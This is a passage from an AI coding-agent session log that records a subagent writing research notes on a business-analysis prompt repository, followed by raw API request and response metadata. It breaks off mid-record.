spec, checksum in report header; step 2: split TZ into numbered sub-items with verbatim quotes. patterns/asr-ingestion, meeting-summary-generation for transcripts.\\n- Reconciliation with documentation (KB): kb/ + runtime repo; citation format `[\u0414\u041e\u041a, \u00a7X \u00ab\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a\u00bb, \u0441.Y](url)` pinned to runtime commit; experiments/issue_363/verify_quotes.py (0 mismatches); scripts/kb/verify_extraction.py pdfplumber vs PyMuPDF; #310 cross-check 9531 critical tokens, 0 unconfirmed + negative test experiments/kb-verify-detects-hallucination.py.\\n- Generation from templates with source links: prompts/ (26) + patterns/ (7) + standards/prompt-standard (frontmatter status/version/updated/temperature 0.1); \\\"\u0448\u0430\u0431\u043b\u043e\u043d \u0422\u0417 v4\\\" similarity check in RUN-0068/0069. NOTE: \\\"golden templates\\\" in the sense of an eval golden-set do NOT exist yet; reference artefacts are designated by ADR (RUN-0060 L4 = \\\"\u044d\u0442\u0430\u043b\u043e\u043d \u0444\u043e\u0440\u043c\u044b L4\\\"; RUN-0066 = reference in RCA).\\n- Human gate: ADR-009 G1 (end of P2, structure of BCREQ levels), G2 (end of P5, risk_analysis owner-review), G3 (end of P6, approval/baselining); rule B3 \\\"G1/G2/G3 \u041d\u0415 \u0414\u041e\u041b\u0416\u041d\u042b \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442\u044c\u0441\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 LLM\\\". ai-rules/ai-quick-rules.md \\\"Structured = fail-closed ... \u0430\u0433\u0435\u043d\u0442 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442, \u0430 \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u0442 human review\\\". RUN-0060 outputs/human-review-checklist.md; ADR-011 \u00a74 link readability for Human Review.\\n- Translation into development format: ADR-011 two levels: L1 (1 page, customer/management, \\\"\u0434\u0435\u043b\u0430\u0435\u043c \u0438\u043b\u0438 \u043d\u0435\u0442 \u0438 \u043f\u043e\u0447\u0435\u043c\u0443\\\"; JSON/diagrams/API names forbidden) and L2/L4 (BA, SA, development: JSON, diagrams, mapping; sources table). RUN-0060 L4: 10 FR sections, 27 TZ sub-items, 11 Activity diagrams, 53 source footnotes, SHA-256 of spec. patterns/user-story-generation, usecase-generation. No explicit Jira/task-tracker export found.\\n- Validators/CI: scripts/validate_all.py, validate_issue_*.py, tools/validate-*.sh, .github/workflows/validate.yml, Makefile validate-full.\\n\\n## 6. Runtime environments\\n- GigaCode and Cline: 0 mentions in this repo (not determined from this repo; the separate working repo backlog B-219..B-222 mentions a GigaCode guide - out of scope here).\\n- Qwen web chat: RUN-0014 logs/metrics.md \\\"qwen3.7-plus (Qwen3.7-Plus, \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441)\\\"; RUN-0018 feedback \\\"\u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0447\u0430\u0442 (Qwen, `auto_search: true`) \u0431\u0435\u0437 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u0439 \u0411\u0417\\\"; chat-export JSON with usage and web_search/web_extractor tool results.\\n- AI issue solver (konard / hive-mind) on GitHub issues -> PRs: Claude Code (RUN-0067), OpenAI Codex (RUN-0064; redacted trace docs/report/evidence/2026-09-01-run-0065-acb6c7bc-redacted.txt), models claude-opus-5 / 5-5, gpt-5.6-sol.\\n- Local Python scripts + Makefile + GitHub Actions CI; GitHub Pages SPA (site/).\\nEOF\\nwc -w /tmp/research-notes/mango_ba_prompts.md\",\n[2026-09-29T07:48:57.641Z] [INFO]           \"description\": \"Write full research report\"\n[2026-09-29T07:48:57.641Z] [INFO]         },\n[2026-09-29T07:48:57.641Z] [INFO]         \"caller\": {\n[2026-09-29T07:48:57.641Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:48:57.641Z] [INFO]         }\n[2026-09-29T07:48:57.641Z] [INFO]       }\n[2026-09-29T07:48:57.641Z] [INFO]     ],\n[2026-09-29T07:48:57.641Z] [INFO]     \"container\": null,\n[2026-09-29T07:48:57.641Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:48:57.641Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:48:57.641Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:48:57.641Z] [INFO]     \"usage\": {\n[2026-09-29T07:48:57.641Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:48:57.641Z] [INFO]       \"cache_creation_input_tokens\": 1174,\n[2026-09-29T07:48:57.641Z] [INFO]       \"cache_read_input_tokens\": 20685,\n[2026-09-29T07:48:57.641Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:48:57.641Z] [INFO]         \"ephemeral_5m_input_tokens\": 1174,\n[2026-09-29T07:48:57.641Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:48:57.641Z] [INFO]       },\n[2026-09-29T07:48:57.641Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:48:57.641Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:48:57.641Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:48:57.641Z] [INFO]     },\n[2026-09-29T07:48:57.641Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:48:57.641Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:48:57.641Z] [INFO]     \"context_management\": null\n[2026-09-29T07:48:57.641Z] [INFO]   },\n[2026-09-29T07:48:57.641Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:48:57.641Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:48:57.641Z] [INFO]   \"uuid\": \"b6e86f93-5ff0-47e9-905b-fac0722667de\",\n[2026-09-29T07:48:57.641Z] [INFO]   \"timestamp\": \"2026-09-29T07:48:57.608Z\",\n[2026-09-29T07:48:57.641Z] [INFO]   \"request_id\": \"req_011CfXMxZg7sVxWFUVZtAjA9\",\n[2026-09-29T07:48:57.641Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:48:57.641Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:48:57.641Z] [INFO] }\n[2026-09-29T07:48:57.679Z] [INFO] {\n[2026-09-29T07:48:57.679Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:48:57.679Z] [INFO]   \"subtype\": \"task_progress\",\n[2026-09-29T07:48:57.679Z] [INFO]   \"task_id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:48:57.679Z] [INFO]   \"tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:48:57.679Z] [INFO]   \"description\": \"Running Write full research report\",\n[2026-09-29T07:48:57.679Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:48:57.679Z] [INFO]   \"usage\": {\n[2026-09-29T07:48:57.679Z] [INFO]     \"total_tokens\": 26205,\n[2026-09-29T07:48:57.679Z] [INFO]     \"tool_uses\": 33,\n[2026-09-29T07:48:57.679Z] [INFO]     \"duration_ms\": 275320\n[2026-09-29T07:48:57.679Z] [INFO]   },\n[2026-09-29T07:48:57.679Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:48:57.679Z] [INFO]   \"uuid\": \"df9f2151-599b-4641-af58-637e19035be9\",\n[2026-09-29T07:48:57.679Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:48:57.679Z] [INFO] }\n[2026-09-29T07:48:59.330Z] [INFO] {\n[2026-09-29T07:48:59.330Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:48:59.330Z] [INFO]   \"message\": {\n[2026-09-29T07:48:59.330Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:48:59.330Z] [INFO]     \"content\": [\n[2026-09-29T07:48:59.330Z] [INFO]       {\n[2026-09-29T07:48:59.330Z] [INFO]         \"tool_use_id\": \"toolu_019Ur3RZ2XnMTh4hsBiAm5pw\",\n[2026-09-29T07:48:59.330Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:48:59.330Z] [INFO]         \"content\": \"1688 /tmp/research-notes/mango_ba_prompts.md\",\n[2026-09-29T07:48:59.330Z] [INFO]         \"is_error\": false\n[2026-09-29T07:48:59.330Z] [INFO]       }\n[2026-09-29T07:48:59.330Z] [INFO]     ]\n[2026-09-29T07:48:59.330Z] [INFO]   },\n[2026-09-29T07:48:59.330Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:48:59.330Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:48:59.330Z] [INFO]   \"uuid\": \"3d499958-39d7-4a14-a509-1c8f0a648a26\",\n[2026-09-29T07:48:59.330Z] [INFO]   \"timestamp\": \"2026-09-29T07:48:59.326Z\",\n[2026-09-29T07:48:59.330Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:48:59.330Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:48:59.330Z] [INFO] }\n[2026-09-29T07:48:59.429Z] [STDOUT] [log_4e37b0] sending request {\n[2026-09-29T07:48:59.439Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:48:59.444Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:48:59.447Z] [STDOUT]   options: {\n[2026-09-29T07:48:59.451Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:48:59.466Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:48:59.474Z] [STDOUT]     body: {\n[2026-09-29T07:48:59.477Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:48:59.480Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:48:59.485Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:48:59.488Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:48:59.492Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:48:59.495Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:48:59.498Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:48:59.500Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:48:59.503Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:48:59.505Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:48:59.508Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:48:59.511Z] [STDOUT]       stream: true,\n[2026-09-29T07:48:59.513Z] [STDOUT]     },\n[2026-09-29T07:48:59.515Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:48:59.521Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:48:59.524Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:48:59.527Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:48:59.530Z] [STDOUT]       aborted: false,\n[2026-09-29T07:48:59.537Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:48:59.546Z] [STDOUT]       onabort: null,\n[2026-09-29T07:48:59.550Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:48:59.553Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:48:59.559Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:48:59.562Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:48:59.566Z] [STDOUT]     },\n[2026-09-29T07:48:59.569Z] [STDOUT]     stream: true,\n[2026-09-29T07:48:59.573Z] [STDOUT]   },\n[2026-09-29T07:48:59.575Z] [STDOUT]   headers: {\n[2026-09-29T07:48:59.577Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:48:59.580Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:48:59.584Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:48:59.587Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:48:59.590Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:48:59.593Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:48:59.596Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:48:59.598Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:48:59.600Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:48:59.602Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:48:59.606Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:48:59.609Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1659\",\n[2026-09-29T07:48:59.611Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:48:59.613Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:48:59.615Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:48:59.618Z] [STDOUT]     \"x-client-request-id\": \"7b035b74-e49d-48fa-8849-6f8efb5a2ce3\",\n[2026-09-29T07:48:59.621Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:48:59.623Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:48:59.626Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:48:59.628Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:48:59.631Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:48:59.637Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:48:59.641Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:48:59.644Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:48:59.648Z] [STDOUT]   },\n[2026-09-29T07:48:59.651Z] [STDOUT] }\n[2026-09-29T07:49:00.478Z] [STDOUT] [log_4e37b0, request-id: \"req_011CfXN2aZpWyfv3aX5Lqazv\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 1056ms\n[2026-09-29T07:49:00.515Z] [STDOUT] [log_4e37b0] response start {\n[2026-09-29T07:49:00.518Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:49:00.520Z] [STDOUT]   status: 200,\n[2026-09-29T07:49:00.525Z] [STDOUT]   headers: {\n[2026-09-29T07:49:00.538Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:49:00.549Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:49:00.584Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:49:00.604Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.38\",\n[2026-09-29T07:49:00.620Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:49:00.639Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:49:00.659Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:49:00.680Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:49:00.688Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:49:00.693Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:49:00.715Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:49:00.848Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:49:00.852Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:49:00.856Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:49:00.859Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:49:00.863Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:49:00.865Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:49:00.868Z] [STDOUT]     \"cf-ray\": \"a429637f7f4429ad-FRA\",\n[2026-09-29T07:49:00.871Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:49:00.873Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:49:00.876Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:49:00.880Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:49:00.883Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:49:00 GMT\",\n[2026-09-29T07:49:00.887Z] [STDOUT]     \"request-id\": \"req_011CfXN2aZpWyfv3aX5Lqazv\",\n[2026-09-29T07:49:00.889Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:49:00.892Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:49:00.895Z] [STDOUT]     traceresponse: \"00-3d36f6904a9e27b17a4a49571f8bb691-bf9bd5fe7656ac32-01\",\n[2026-09-29T07:49:00.898Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:49:00.902Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:49:00.906Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:49:00.910Z] [STDOUT]   },\n[2026-09-29T07:49:00.913Z] [STDOUT]   durationMs: 1056,\n[2026-09-29T07:49:00.915Z] [STDOUT] }\n[2026-09-29T07:49:00.918Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:49:00.920Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:49:00 GMT\",\n[2026-09-29T07:49:00.922Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:49:00.924Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:49:00.926Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:49:00.928Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:49:00.931Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:49:00.933Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:49:00.935Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:49:00.942Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:49:00.945Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:49:00.946Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:49:00.949Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:49:00.952Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:49:00.956Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.38\",\n[2026-09-29T07:49:00.958Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:49:00.960Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:49:00.961Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:49:00.963Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:49:00.965Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:49:00.966Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:49:00.969Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:49:00.970Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:49:00.972Z] [STDOUT]   \"request-id\": \"req_011CfXN2aZpWyfv3aX5Lqazv\",\n[2026-09-29T07:49:00.975Z] [STDOUT]   \"traceresponse\": \"00-3d36f6904a9e27b17a4a49571f8bb691-bf9bd5fe7656ac32-01\",\n[2026-09-29T07:49:00.976Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:49:00.978Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:49:00.980Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:49:00.981Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:49:00.983Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:49:00.985Z] [STDOUT]   \"cf-ray\": \"a429637f7f4429ad-FRA\",\n[2026-09-29T07:49:00.986Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:49:00.988Z] [STDOUT] [log_4e37b0] response parsed {\n[2026-09-29T07:49:00.989Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:49:00.991Z] [STDOUT]   status: 200,\n[2026-09-29T07:49:00.992Z] [STDOUT]   body: X {\n[2026-09-29T07:49:00.994Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:49:00.996Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:49:00.998Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:49:01.003Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:49:01.005Z] [STDOUT]     },\n[2026-09-29T07:49:01.006Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:49:01.009Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:49:01.011Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:49:01.016Z] [STDOUT]   },\n[2026-09-29T07:49:01.018Z] [STDOUT]   durationMs: 1078,\n[2026-09-29T07:49:01.019Z] [STDOUT] }\n[2026-09-29T07:49:08.906Z] [INFO] {\n[2026-09-29T07:49:08.906Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:49:08.906Z] [INFO]   \"message\": {\n[2026-09-29T07:49:08.906Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:49:08.906Z] [INFO]     \"id\": \"msg_011CfXN2bzdbKt5w2oCHh5Mk\",\n[2026-09-29T07:49:08.906Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:49:08.906Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:49:08.906Z] [INFO]     \"content\": [\n[2026-09-29T07:49:08.906Z] [INFO]       {\n[2026-09-29T07:49:08.906Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:49:08.906Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:49:08.906Z] [INFO]         \"signature\": \"CAQSlAYKEAgSGAI4AUIIdGhpbmtpbmcSDAhz8Bv0KK9KDwMzzRoM3iRAd1vGslVbhPN4IjCLy7hadCIkdtH7QPrrS5wP59kBFFtuifbjRs3SikjLSlIdqjAuqW7ziSi5Q3ZXsZIqsQUByaiU9Va5O724DPMXt4uOZOA1w7ImK1HTyRPkjuuxmO4lge2/xgaHcsFRhLKU0HUgSO5NclIgqht/OjGxd5ldfB1EnfZaWCh6d16Y0qOgVyLd7FvkOBl4U63bJwjuFuz1GT0YTKZ7lXf0cBdPfv+2BlhRAlhmFf5+2xBASM/XUNFnL5Qt8D3YiY6/PUfutgEYRfgAjV5vqY9VjqXCVxv01H+9KkVvTv14p4+3K2Gbm53fQMvLZWgxZSFnEsfdLk+ejBe9QC4EECPBp0snRDI5v/gts0BHz6yl6bIdPYpv0P/ZaRDnkCngSCn0jV/ngH63uQH7N0oUSUm3zPaCBhJL+v26+TtulbeZYvY9R2vAKmsMpQryFSPH4LJhn3XMLz/+aDiosTSh0rq8TTr7f+vlQgsSj3NJyOiN0FEN8wszmzBASWkXgw5c8WqEPgusSryEtdEWV4TXeKVBdIIO7Iv1m/6FYilxyDM1F7erJPBpulfRNCOxi6/aHFFvy7SbMnkDIhXML1xHWoD/3xj6GLB+X2L6ZZVi3FA6zQjJrQRGZETws77f+qpTW01mTezYlQKpfPjQR8o5pJsfqB4P8HtDKBvb1mEu4l2wl5mWDTfp4y9Zu7FxVXbgCGwAWVsGPjHTgfLgXGHQGXUFrfaBoscAiqXfwcFHvH1kiixb2Gzn3D4yXC9V2fmz9y1QBrqNhNx+lNKaEkgW5aFa0nLWg4dLzplTcS/zS9Tx2HZelwpzM0B5U/EEWa+Mg4C7THl7eoc8PfjbLUk3RdzwvS4V4kFQpe6bWuH6vjZUPZpqlOFoV4ETXCw5DFpScOIcue1n3bFgYPXxnrYFrCEXjM809+ouiU4a4v3Go8kiNvr7jRMSGcYmEayvSsBMBeMycvCnscV/Cvxx2SwNNGgelyxtN4L+CBgB\"\n[2026-09-29T07:49:08.906Z] [INFO]       }\n[2026-09-29T07:49:08.906Z] [INFO]     ],\n[2026-09-29T07:49:08.906Z] [INFO]     \"container\": null,\n[2026-09-29T07:49:08.906Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:49:08.906Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:49:08.906Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:49:08.906Z] [INFO]     \"usage\": {\n[2026-09-29T07:49:08.906Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:49:08.906Z] [INFO]       \"cache_creation_input_tokens\": 7044,\n[2026-09-29T07:49:08.906Z] [INFO]       \"cache_read_input_tokens\": 21859,\n[2026-09-29T07:49:08.906Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:49:08.906Z] [INFO]         \"ephemeral_5m_input_tokens\": 7044,\n[2026-09-29T07:49:08.906Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:49:08.906Z] [INFO]       },\n[2026-09-29T07:49:08.906Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:49:08.906Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:49:08.906Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:49:08.906Z] [INFO]     },\n[2026-09-29T07:49:08.906Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:49:08.906Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:49:08.906Z] [INFO]     \"context_management\": null\n[2026-09-29T07:49:08.906Z] [INFO]   },\n[2026-09-29T07:49:08.906Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:49:08.906Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:08.906Z] [INFO]   \"uuid\": \"dca7d048-416f-42f2-974f-6efa92bb5d57\",\n[2026-09-29T07:49:08.906Z] [INFO]   \"timestamp\": \"2026-09-29T07:49:08.890Z\",\n[2026-09-29T07:49:08.906Z] [INFO]   \"request_id\": \"req_011CfXN2aZpWyfv3aX5Lqazv\",\n[2026-09-29T07:49:08.906Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:49:08.906Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:49:08.906Z] [INFO] }\n[2026-09-29T07:49:30.393Z] [INFO] {\n[2026-09-29T07:49:30.393Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:49:30.393Z] [INFO]   \"message\": {\n[2026-09-29T07:49:30.393Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:49:30.393Z] [INFO]     \"id\": 